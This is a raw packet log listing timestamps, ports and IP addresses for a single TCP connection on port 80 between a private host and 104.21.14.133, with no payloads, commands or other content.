Oct 11, 2024 04:10:42.107009888 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.107021093 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.107027054 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.107043028 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.107043028 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.107064962 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.107100010 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.265141964 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.265168905 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.265186071 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.265201092 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.265218019 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.265225887 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.265233040 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.265249968 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.265266895 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.265268087 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.265284061 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.265300035 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.265316010 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.265316010 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.265332937 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.265335083 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.265369892 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.265374899 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.265394926 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.265404940 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.265413046 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.265428066 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.265445948 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.265458107 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.265464067 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.265480042 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.265496016 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.265506029 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.265511990 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.265527010 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.265567064 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.265572071 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.265589952 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.265614986 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.265625954 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.265630960 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.265650034 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.265665054 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.265676022 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.265691042 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.265707016 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.265710115 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.265722990 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.265732050 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.265738964 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.265754938 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.265769005 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.265772104 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.265788078 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.265805006 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.265810966 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.265841961 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.265866041 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.265897989 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.265935898 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.265975952 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.266006947 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.269324064 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.269382954 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.269666910 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.269686937 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.269712925 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.269728899 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.269728899 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.269746065 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.269747972 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.269773960 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.269783974 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.269802094 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.269803047 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.269821882 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.269836903 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.269855976 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.269879103 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.269881010 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.269910097 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.269923925 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.269934893 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.269948959 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.269953966 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.269968033 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.269982100 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.270000935 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.270008087 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.270025015 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.270032883 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.270045042 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.270051003 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.270066977 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.270067930 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.270083904 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.270100117 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.270107985 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.270117044 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.270124912 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.270133018 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.270150900 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.270158052 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.270176888 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.270185947 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.270194054 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.270210981 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.270217896 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.270226955 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.270245075 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.270252943 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.270261049 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.270277977 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.270282984 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.270303011 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.270315886 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.270319939 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.270335913 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.270339966 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.270354033 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.270370007 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.270375967 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.270385981 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.270401001 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.270416021 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.270418882 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.270431995 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.270442963 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.270450115 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.270462990 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.270488024 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.270510912 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.526741982 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.526766062 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.526938915 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.527189970 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.527226925 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.527251959 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.527256012 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.527268887 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.527285099 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.527297974 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.527297974 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.527313948 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.527321100 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.527329922 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.527344942 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.527360916 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.527364969 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.527379036 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.527410984 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.527426004 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.527436972 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.527436972 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.527441025 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.527457952 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.527458906 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.527467012 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.527475119 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.527483940 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.527489901 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.527498007 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.527765036 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.527901888 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.527934074 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.527952909 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.527968884 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.527992010 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528008938 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528008938 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.528024912 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528039932 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528049946 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.528058052 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528074026 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528089046 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528096914 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.528105021 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528126001 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528135061 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.528152943 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528156042 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.528170109 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528177977 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.528194904 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528211117 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528222084 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.528227091 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528250933 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528266907 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528280973 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528283119 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.528283119 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.528296947 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528311968 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528326035 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.528327942 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528343916 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528358936 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528371096 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.528373003 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528389931 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528393030 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.528405905 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528419971 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528434038 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.528434992 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528444052 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528460026 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528462887 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.528475046 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528491974 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528506994 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528507948 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.528522968 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528532028 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.528539896 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528557062 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528570890 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528587103 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528587103 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.528601885 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528616905 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528625965 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.528634071 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528650045 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528651953 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.528666019 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528676033 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.528697014 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528703928 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.528719902 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528734922 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528748989 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528748035 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.528765917 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528780937 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528799057 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.528805971 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528821945 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528844118 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.528846979 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528863907 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528866053 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.528882027 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528897047 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528912067 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528919935 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.528928041 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528949976 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528964043 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.528965950 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528984070 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.528984070 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.528999090 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.529016018 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.529026985 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.529028893 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.529073000 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.529093981 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.529099941 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.529117107 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.529144049 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.529159069 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.529160023 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.529177904 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.529186964 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.529205084 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.529221058 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.529227972 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.529237032 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.529256105 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.529278040 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.529304981 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.529352903 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.529367924 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.529382944 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.529397964 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.529413939 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.529414892 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.529429913 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.529437065 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.529445887 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.529460907 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.529475927 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.529495001 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.529505968 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.529512882 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.529526949 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.529544115 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.529575109 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.529591084 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.529728889 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.529752970 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.529768944 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.529783964 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.529794931 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.529804945 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.529813051 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.529828072 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.529844046 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.529859066 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.529865026 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.529875994 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.529892921 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.529921055 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.613893986 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.613915920 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.613931894 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.613948107 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.613962889 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.613964081 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.613980055 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.613987923 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.613998890 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.614016056 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.614037991 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.614073038 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.614641905 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.614655972 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.614691019 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.614701986 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.614716053 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.614731073 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.614744902 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.614758015 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.614763021 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.614784956 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.614789009 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.614800930 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.614819050 CEST	80	49733	104.21.14.133	192.168.2.4
